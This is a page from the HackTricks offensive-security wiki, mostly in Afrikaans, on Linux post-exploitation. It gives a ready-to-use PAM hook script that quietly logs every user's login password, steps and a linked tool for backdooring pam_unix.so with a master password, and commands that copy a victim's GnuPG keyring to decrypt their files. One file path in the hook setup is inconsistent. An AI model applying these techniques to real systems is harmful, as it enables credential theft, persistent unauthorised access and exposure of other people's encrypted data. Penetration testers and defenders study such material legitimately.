Linux Post-Exploitation
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Sniffing Logon Passwords with PAM
Kom ons konfigureer 'n PAM-module om elke wagwoord wat 'n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:
PAM - Pluggable Authentication Modules
For further details check the original post. This is just a summary:
Oorsig van die tegniek: Pluggable Authentication Modules (PAM) bied buigbaarheid in die bestuur van verifikasie op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar dra ook risiko's as hulle misbruik word. Hierdie opsomming beskryf 'n tegniek om aanmeldbewyse met PAM vas te vang, sowel as versagtingsmaatreëls.
Vasvang van aanmeldbewyse:
- 'n bash-script met die naam
toomanysecrets.sh
word geskep om aanmeldpogings te log, deur die datum, gebruikersnaam ($PAM_USER
), wagwoord (via stdin), en die remote host IP ($PAM_RHOST
) na/var/log/toomanysecrets.log
vas te lê. - Die script word uitvoerbaar gemaak en in die PAM-konfigurasie (
common-auth
) geïntegreer met behulp van diepam_exec.so
module, met opsies om stil te hardloop en die verifikasie-token aan die script bloot te stel. - Die benadering demonstreer hoe 'n gekompromitteerde Linux-host misbruik kan word om aanmeldbewyse diskreet te log.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post. Dit is net 'n opsomming:
Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruiker-autentisering. Dit werk op drie hoofkonsepte: username, password, en service. Konfigurasielêers vir elke service is geleë in die /etc/pam.d/
gids, waar gedeelde biblioteke die verifikasie hanteer.
Doel: Wysig PAM om autentisering toe te laat met 'n spesifieke password, en die werklike gebruiker se password omseil. Hierdie metode fokus veral op die pam_unix.so
gedeelde biblioteek wat deur die common-auth
lêer gebruik word — die common-auth
word by byna alle services ingesluit vir password-verifikasie.
Steps for Modifying pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- Die reël wat verantwoordelik is vir die kontrole van 'n gebruiker se password roep
pam_unix.so
aan.
- Modify Source Code:
- Voeg 'n voorwaardelike stelling by in die
pam_unix_auth.c
source file wat toegang verleen as 'n vooraf-gedefinieerde password gebruik word; anders gaan dit voort met die gewone autenticatieproses.
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- Toegang word met die vooraf-gedefinieerde password verleen oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale authenticatieprosesse ongemoeid gebly het.
tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Dekripteer GPG loot via homedir relocation
As jy 'n encrypted .gpg
file en 'n gebruiker se ~/.gnupg
gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir permisies/locks nie, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
Tipiese foutboodskappe wat jy kry sonder hierdie stap: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (want GPG kan nie die oorspronklike homedir lees/skryf nie).
Werkvloei:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
As die geheime sleutelmateriaal in private-keys-v1.d
teenwoordig is, sal GPG ontsluit en ontsleutel sonder om vir passphrase
te vra (of dit sal vra as die sleutel beskerm is).
Verwysings
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.